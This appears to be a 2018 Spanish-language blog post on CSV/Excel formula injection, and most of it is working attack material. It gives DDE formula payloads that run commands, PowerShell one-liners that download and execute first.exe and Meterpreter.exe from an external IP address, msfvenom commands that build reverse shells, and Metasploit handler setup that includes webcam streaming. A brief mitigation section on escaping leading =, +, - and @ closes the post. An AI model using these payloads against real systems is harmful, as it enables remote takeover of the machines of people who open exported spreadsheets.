miércoles, 4 de julio de 2018

Inyeccion de Formulas de Excel/CSV en aplicaciones web

Existen muchas aplicaciones que exportan archivos CSV los cuales son generados por que recogen desde la base de datos la informacion.
En estos archivos podemos inyectar formulas con las cuales explotamos el sistema operativo ejecutando codigo arbitrario.








Comandos

Ejecutar un proceso en el sistema operativo:
=cmd|' /C calc'!'A1'
=cmd|' /C calc'!notthissheet
=cmd|' /C calc'!xxx
=cmd|'/Ccalc.exe'!z

Ejecutar una shell con metasploit
=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/first.exe" -OutFile "$env:Temp\first.exe"; Start-Process "$env:Temp\first.exe"'!A1

=cmd|' /C powershell Invoke-WebRequest "http://222.222.166.136/Meterpreter.exe" -OutFile "$env:Temp\Meterpreter.exe"; Start-Process "$env:Temp\Meterpreter.exe"'!A1

Shell
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp LHOST=222.222.166.136 LPORT=666 -b "\x00" -e x86/shikata_ga_nai -f exe -o C:/first.exe

Meterpreter

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp  LHOST=222.222.166.136 LPORT=666 -b "\x00" -f exe -o C:/Meterpreter.exe

Poner metasploit a la escucha:

Shell
# msfconsole
> use exploit/multi/handler
> set payload windows/shell/reverse_tcp
> set LHOST 222.222.166.136
> set LPORT 666
> show options
> run

Meterpreter
# msfconsole
>use exploit/multi/handler
>set PAYLOAD windows/meterpreter/reverse_tcp
>set LHOST 222.222.166.136
>set LPORT 666
>set ExitOnSession false
>exploit -j -z
>help
>webcam_stream

Aplicaciones en:
Encuestas, Reportes generados por maestros, una tienda, hasta un banco que genera reportes, etc.


Mitigacion

Agregar un ' o espacio o cualquier letra antes de la formula =FORMULA comience.
Puedes verificar que las celdas no tengan estos caracteres.
* Igual a ("=")
* Suma ("+")
* Menos ("-")
* Arroba ("@")


En las últimas versiones de OpenOffice Calc y LibreOffice Calc, la funcionalidad de ejecución de comandos de la fórmula DDE se revocó después del descubrimiento inicial de una vulnerabilidad de inyección de comandos (CVE-2014-3524).

Office si acepta solo que muestra mensajes de seguridad que vieniendo la pagina que ellos entraron no tienen por que desconfiar.

https://scarybeastsecurity.blogspot.com/2010_06_01_archive.html <- estudio que muestra que 50% de los usuarios dan clic en enlaces y siguen confiando en ellos (Open Redirect Vulnerability)


Codigo Fuente para prueba de Concepto:


No hay comentarios:

Publicar un comentario